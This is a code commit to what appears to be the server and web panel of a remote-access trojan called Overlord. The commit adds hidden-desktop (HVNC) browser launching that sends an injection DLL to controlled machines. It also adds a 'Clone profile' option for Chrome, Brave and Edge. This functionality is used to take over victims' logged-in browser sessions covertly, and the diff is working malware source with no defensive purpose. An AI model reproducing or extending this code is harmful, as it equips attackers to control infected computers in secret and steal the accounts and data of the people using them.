add hvnc cloning

Overlord-Server/public/assets/hvnc.js

@@ -746,11 +746,14 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
         } else if (action === "start-powershell") {
           sendCmd("hvnc_start_process", { path: "conhost powershell.exe" });
         } else if (action === "start-chrome") {
-          sendCmd("hvnc_start_process", { path: "c:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" });
+          const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
+          sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone });
         } else if (action === "start-brave") {
-          sendCmd("hvnc_start_process", { path: "c:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" });
+          const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
+          sendCmd("hvnc_start_browser_injected", { browser: "brave", clone });
         } else if (action === "start-edge") {
-          sendCmd("hvnc_start_process", { path: "c:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" });
+          const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
+          sendCmd("hvnc_start_browser_injected", { browser: "edge", clone });
         } else if (action === "start-custom") {
           const exePath = prompt("Enter exe path (required)");
           if (!exePath) {

Overlord-Server/public/hvnc.html

@@ -152,6 +152,10 @@
           class="hidden fixed z-50 min-w-[180px] rounded-lg border border-slate-700 bg-slate-900/95 text-sm text-slate-200 shadow-xl"
         >
           <div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Browsers</div>
+          <label class="flex items-center gap-2 px-3 py-2 cursor-pointer hover:bg-slate-800/70 select-none">
+            <input type="checkbox" id="hvncCloneToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
+            <span class="text-xs text-slate-300">Clone profile</span>
+          </label>
           <button
             type="button"
             class="w-full text-left px-3 py-2 hover:bg-slate-800/70"

Overlord-Server/src/server/ws-console-rd-hvnc.ts

@@ -1,6 +1,8 @@
 import type { ServerWebSocket } from "bun";
 import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack";
 import { v4 as uuidv4 } from "uuid";
+import { existsSync, readFileSync } from "fs";
+import path from "path";
 import * as clientManager from "../clientManager";
 import { logger } from "../logger";
 import { metrics } from "../metrics";
@@ -9,6 +11,23 @@ import * as sessionManager from "../sessions/sessionManager";
 import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
 import type { ClientInfo } from "../types";
 
+// Cache the injection DLL bytes so we read the file only once.
+// Sent as raw binary via msgpack — no base64 needed.
+let _cachedInjectionDll: Uint8Array | null = null;
+let _dllCacheChecked = false;
+function getInjectionDllBytes(): Uint8Array | null {
+  if (_dllCacheChecked) return _cachedInjectionDll;
+  _dllCacheChecked = true;
+  const dllPath = path.resolve(import.meta.dir, "../../dist-clients/HVNCInjection.x64.dll");
+  if (existsSync(dllPath)) {
+    _cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
+    logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
+  } else {
+    logger.warn(`[hvnc] injection DLL not found at ${dllPath}`);
+  }
+  return _cachedInjectionDll;
+}
+
 function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
   if (typeof raw === "string") {
     try {
@@ -581,6 +600,46 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
     case "hvnc_start_process":
       sendHVNCCommand(target, "hvnc_start_process", { path: String(payload.path || "") });
       break;
+    case "hvnc_start_process_injected": {
+      const dllData = getInjectionDllBytes();
+      if (!dllData) {
+        logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
+        break;
+      }
+      sendHVNCCommand(target, "hvnc_start_process_injected", {
+        path: String(payload.path || ""),
+        search_path: String(payload.search_path || ""),
+        replace_path: String(payload.replace_path || ""),
+        dll: dllData,
+      });
+      break;
+    }
+    case "hvnc_start_chrome_injected": {
+      const dllData = getInjectionDllBytes();
+      if (!dllData) {
+        logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
+        break;
+      }
+      sendHVNCCommand(target, "hvnc_start_chrome_injected", {
+        path: String(payload.path || ""),
+        dll: dllData,
+      });
+      break;
+    }
+    case "hvnc_start_browser_injected": {
+      const dllData = getInjectionDllBytes();
+      if (!dllData) {
+        logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
+        break;
+      }
+      sendHVNCCommand(target, "hvnc_start_browser_injected", {
+        browser: String(payload.browser || ""),
+        path: String(payload.path || ""),
+        clone: payload.clone !== false,
+        dll: dllData,
+      });
+      break;
+    }
     default:
       break;
   }